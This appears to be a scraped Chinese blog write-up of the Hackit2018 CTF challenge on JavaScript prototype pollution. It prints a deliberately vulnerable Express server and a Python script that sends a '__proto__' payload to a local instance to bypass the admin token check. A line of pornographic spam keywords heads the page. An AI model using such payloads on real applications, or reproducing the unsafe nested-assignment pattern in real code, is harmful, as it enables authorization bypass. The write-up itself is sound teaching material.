国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

【安全】原型鏈污染 - Hackit2018

這篇具有很好參考價值的文章主要介紹了【安全】原型鏈污染 - Hackit2018。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

目錄

準(zhǔn)備工作

解題

代碼審計

Payload


準(zhǔn)備工作

????????將這道題所需依賴模塊都安裝好后

【安全】原型鏈污染 - Hackit2018,安全,javascript,前端

? ? ? ? ?運行一下,然后可以試著訪問一下,報錯是因為里面沒內(nèi)容而已,不影響,準(zhǔn)備工作就做好了

解題

代碼審計

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}

function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];

    }
    res.render('index');
})


app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)


app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }

    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 

    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }

    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }

})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})
關(guān)鍵代碼   
 if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
可以看到flag就在這個if里面,想要進來就需要請求的query.querytoken等于md5編碼后的user.admintoken
但是縱觀全文,根本就沒有admintoken這個值,所以就需要我們原型鏈污染一下

【安全】原型鏈污染 - Hackit2018,安全,javascript,前端

?解題關(guān)鍵就在這里,將請求體里面的row,col,data都是我們post傳進去的可控的

Payload

【安全】原型鏈污染 - Hackit2018,安全,javascript,前端

?

import requests
import json
url1 = "http://127.0.0.1:3000/api"
url2 = "http://127.0.0.1:3000/admin?querytoken=c6393918b7bfdb774faa34d75e56c4cd"

headers = {"Content-Type" : "application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"oogalxy"}

res1 = requests.post(url1,headers = headers,data = json.dumps(data1))
res2 = requests.get(url2)

print(res2.text)
說明:/api和/admin進的地方不一樣headers是為了能讓服務(wù)器讀懂json格式
把data轉(zhuǎn)成json格式,要不然__proto__不是屬性

【安全】原型鏈污染 - Hackit2018,安全,javascript,前端?這個比之前那個簡單一些,只是我想拿burpsuite復(fù)現(xiàn)遇到了點阻礙,回去研究一下文章來源地址http://www.zghlxwxcb.cn/news/detail-670156.html

到了這里,關(guān)于【安全】原型鏈污染 - Hackit2018的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費用

相關(guān)文章

  • 網(wǎng)絡(luò)安全--原型鏈污染

    網(wǎng)絡(luò)安全--原型鏈污染

    目錄 1.什么是原型鏈污染 2.原型鏈三屬性 1)prototype 2)constructor 3)__proto__ 4)原型鏈三屬性之間關(guān)系? 3.JavaScript原型鏈繼承 1)分析 2)總結(jié) 3)運行結(jié)果? ?4.原型鏈污染簡單實驗 1)實驗一 ?2)實驗2 原型鏈污染(Prototype Pollution)是一種web應(yīng)用程序中常見的安全漏洞,主要影響

    2024年02月14日
    瀏覽(18)
  • 安全基礎(chǔ) --- 原型鏈污染

    安全基礎(chǔ) --- 原型鏈污染

    大部分面向?qū)ο蟮木幊陶Z言,都是通過“類”(class)實現(xiàn)對象的繼承。傳統(tǒng)上,JavaScript 語言的繼承不通過 class,而是通過“原型對象”(prototype)實現(xiàn) JavaScript 規(guī)定,每個函數(shù)都有一個 prototype 屬性,指向一個對象 js中類的建立 js 中,定義一個類,需以 定義“構(gòu)造函數(shù)”

    2024年02月10日
    瀏覽(26)
  • 網(wǎng)絡(luò)安全之原型鏈污染

    網(wǎng)絡(luò)安全之原型鏈污染

    目錄: 一、概念 二、舉例 三、 實操了解 總結(jié) 四、拋出原題,歷年原題復(fù)現(xiàn) 第一題: 五、分析與原理 ?第二題: 八、分析與原理 九、具體操作,payload與結(jié)果 結(jié)果:? ? JavaScript 規(guī)定,所有對象都有自己的原型對象(prototype)。一方面,任何一個對象,都可以充當(dāng)其他對

    2024年02月13日
    瀏覽(22)
  • 安全作業(yè)-Race競爭型漏洞、原型鏈污染

    安全作業(yè)-Race競爭型漏洞、原型鏈污染

    ? 一、第一題js代碼 獲取flag的條件是 傳入的querytoken要和user數(shù)組本身的admintoken的MD5值相等,且二者都要存在。 由代碼可知,全文沒有對user.admintokn 進行賦值,所以理論上這個值時不存在的,但是下面有一句賦值語句: data , row , col ,都是我們post傳入的值,都是可控的,所以

    2024年02月13日
    瀏覽(22)
  • 安全開發(fā)-JS應(yīng)用&NodeJS指南&原型鏈污染&Express框架&功能實現(xiàn)&審計&WebPack打包器&第三方庫JQuery&安裝使用&安全檢測

    安全開發(fā)-JS應(yīng)用&NodeJS指南&原型鏈污染&Express框架&功能實現(xiàn)&審計&WebPack打包器&第三方庫JQuery&安裝使用&安全檢測

    Node.js是運行在服務(wù)端的JavaScript 文檔參考:https://www.w3cschool.cn/nodejs/ Nodejs安裝:https://nodejs.org/en 三方庫安裝 express:Express是一個簡潔而靈活的node.js Web應(yīng)用框架 body-parser:node.js中間件,用于處理 JSON, Raw, Text和URL編碼的數(shù)據(jù)。 cookie-parser:這就是一個解析Cookie的工具。通過re

    2024年02月11日
    瀏覽(58)
  • 滲透攻擊方法:原型鏈污染

    滲透攻擊方法:原型鏈污染

    目錄 一、什么是原型鏈 1、原型對象 2、prototype屬性 3、原型鏈 1、顯示原型 2、隱式原型 3、原型鏈 4、constructor屬性 二、原型鏈污染重現(xiàn) 實例 Nodejs沙箱逃逸 1、什么是沙箱(sandbox) 2、vm模塊 JavaScript 中所有的對象都有一個內(nèi)置屬性,稱為它的? prototype (原型)。它本身是一

    2024年02月14日
    瀏覽(23)
  • 原型污染

    原型污染

    原型污染是一種針對JavaScript運行時的注入攻擊。通過原型污染,攻擊者可以控制對象屬性的默認(rèn)值,從而篡改應(yīng)用程序的邏輯并可能導(dǎo)致服務(wù)被拒絕,甚至在某些極端情況下遠(yuǎn)程執(zhí)行代碼。 現(xiàn)在,你是不是滿腦子充滿了各種疑問。到底什么是“在運行時改寫對象的屬性”?

    2024年02月05日
    瀏覽(15)
  • 【前端知識】JavaScript——設(shè)計模式(工廠模式、構(gòu)造函數(shù)模式、原型模式)

    工廠模式是一種眾所周知的設(shè)計模式,廣泛應(yīng)用于軟件工程領(lǐng)域,用于抽象創(chuàng)建特定對象的過程。 優(yōu)點:可以解決創(chuàng)建多個類似對象的問題 缺點:沒有解決對象標(biāo)識問題(即新創(chuàng)建的對象是什么類型) 示例: 構(gòu)造函數(shù)模式與工廠模式相比,沒有顯式地創(chuàng)建對象,其屬性和方

    2024年02月15日
    瀏覽(54)
  • js實現(xiàn)原型鏈污染,沙箱繞過

    js實現(xiàn)原型鏈污染,沙箱繞過

    沙箱繞過\\\"是指攻擊者利用各種方法和技術(shù)來規(guī)避或繞過應(yīng)用程序或系統(tǒng)中的沙箱(sandbox)。沙箱是一種安全機制,用于隔離和限制應(yīng)用程序的執(zhí)行環(huán)境,從而防止惡意代碼對系統(tǒng)造成損害。它常被用于隔離不受信任的代碼,以防止其訪問敏感數(shù)據(jù)或?qū)ο到y(tǒng)進行未授權(quán)的操作

    2024年02月13日
    瀏覽(26)
  • 漏洞復(fù)現(xiàn)--原型鏈污染、沙箱逃逸繞過

    漏洞復(fù)現(xiàn)--原型鏈污染、沙箱逃逸繞過

    目錄 一、原型鏈污染 1.prototype和__proto__區(qū)別??? 2.原型鏈污染是什么??? 3.哪些情況原型鏈會被污染??? 4.原型鏈污染例題 二、沙箱逃逸繞過 1.如何實現(xiàn)沙箱逃逸? ?2.如何實現(xiàn)繞過? 原型污染是一個安全漏洞,非常特定于 JavaScript。 __proto__ 檢查其成員或調(diào)用來找出

    2024年02月14日
    瀏覽(29)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包